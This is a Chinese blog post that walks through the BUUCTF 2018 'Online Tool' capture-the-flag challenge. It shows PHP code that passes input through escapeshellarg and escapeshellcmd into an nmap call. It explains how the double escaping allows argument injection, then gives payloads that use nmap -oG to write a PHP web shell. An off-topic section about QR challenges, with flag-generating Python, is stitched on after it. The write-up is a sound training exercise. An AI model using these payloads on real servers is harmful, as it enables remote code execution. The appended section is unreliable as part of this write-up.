BUUCTF:[BUUCTF 2018]Online Tool

https://buuoj.cn/challenges#[BUUCTF%202018]Online%20Tool

在这里插入图片描述

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

考查点:

利用escapeshellarg()+escapeshellcmd()的两次转义,导致闭合单引号后即可执行任意参数,然后利用Nmap的-oG参数写入shell

?host='<?php phpinfo();?> -oG 1.php '
?host='<?php eval($_POST["cmd"]);?> -oG shell.php '

在这里插入图片描述
在这里插入图片描述
PS:这里我有个疑问,网上看的题解里面好像都不能清楚的解释为什么?host='<?php eval($_POST["cmd"]);?> -oG shell.php '这里最后的单引号的前面要加个空格,不太明白,有师傅清楚的话,麻烦评论区指点一下,谢谢

### BUUCTF QR Challenge Overview BUUCTF is a Capture the Flag competition that includes various challenges, including those involving QR codes. For participants interested in engaging with BUUCTF's QR-related content, understanding both theoretical and practical aspects of QR code scanning and decoding can be beneficial. A useful resource for online QR code scanning is provided by an external website where users can upload images containing QR codes to extract their embedded information[^1]. This tool simplifies the process of interpreting encoded data within QR codes without requiring specialized software installation on local devices. In one specific instance from past competitions labeled as "BUUCTF qr 1," competitors were tasked with scanning a given QR code which revealed a cryptographic string upon successful interpretation. The solution format followed standard CTF conventions denoted as `flag{...}` encapsulating what appears to be either MD5 hash output or another form of obfuscated message representation depending on event rules at time of creation[^2]. For aspiring individuals looking forward towards participating similarly themed puzzles during future iterations; familiarity not only limited but extended beyond mere technical skills such areas like pattern recognition might prove advantageous when encountering more complex encryptions hidden inside these seemingly simple squares patterns we call Quick Response Codes today! ```python import qrcode def generate_qr(data="flag{878865ce73370a4ce607d21ca01b5e59}", filename='qr_code.png'): qr = qrcode.QRCode( version=1, error_correction=qrcode.constants.ERROR_CORRECT_L, box_size=10, border=4, ) qr.add_data(data) qr.make(fit=True) img = qr.make_image(fill_color="black", back_color="white") img.save(filename) generate_qr() ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末 初

谢谢老板~感谢!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值